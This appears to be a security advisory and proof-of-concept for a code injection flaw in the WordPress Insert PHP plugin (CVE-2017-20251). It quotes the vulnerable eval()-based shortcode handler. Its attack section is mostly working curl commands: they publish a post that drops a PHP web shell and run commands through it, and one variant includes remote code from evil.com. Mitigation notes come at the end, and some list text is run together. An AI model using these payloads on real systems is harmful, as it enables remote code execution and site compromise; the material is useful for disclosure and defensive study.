
Insert PHP Plugin PHP Code Injection
Unauthenticated PHP Code Injection via Shortcode Processing in Insert PHP Plugin
| Field | Value |
|---|---|
| CVE ID | CVE-2017-20251 |
| Plugin | Insert PHP (now Woody Code Snippets) |
| Affected Versions | < 3.3.1 (tested on 1.3) |
| CWE | CWE-94 (Code Injection) |
| CVSS v3.1 | 9.8 (Critical) |
| CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Disclosure | Public (Exploit-DB 41308) |
The Insert PHP plugin before version 3.3.1 allows remote attackers to execute arbitrary PHP code via a shortcode injection vulnerability. The plugin registers a [insert_php]...[/insert_php] shortcode that directly evaluates the content inside the shortcode tags using PHP's eval() function without any sanitization or validation.
An attacker who can create or modify posts (via the REST API, XML-RPC, or with contributor/admin access) can inject arbitrary PHP code into any page or post that renders their content, achieving full remote code execution on the web server.
The vulnerability exists in the will_bontrager_insert_php() function registered as a the_content filter:
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- VULNERABLE
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
Key Issues:
eval() without any sanitization[insert_php] shortcodethe_content filterseval() executes arbitrary PHP code on the serverSeverity: Critical
Full Remote Code Execution (RCE) on the web server:
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
"status": "publish"
}'
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# Verify
cat /var/www/html/rce_poc.txt # Should output: RCE-SUCCESS
For older WordPress versions where the REST API allowed unauthenticated post creation:
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
When the vulnerable shortcode is processed, the PHP code inside is executed by eval(). For the marker file test:
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully
Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server
Verification:
$ cat /var/www/html/marker.txt
SUCCESS
DISALLOW_UNFILTERED_HTML constant (though this doesn't fully mitigate the issue)The patched version (3.3.1+):
[insert_php] to [wbcr_php_snippet]eval() usage in favor of a safe execution context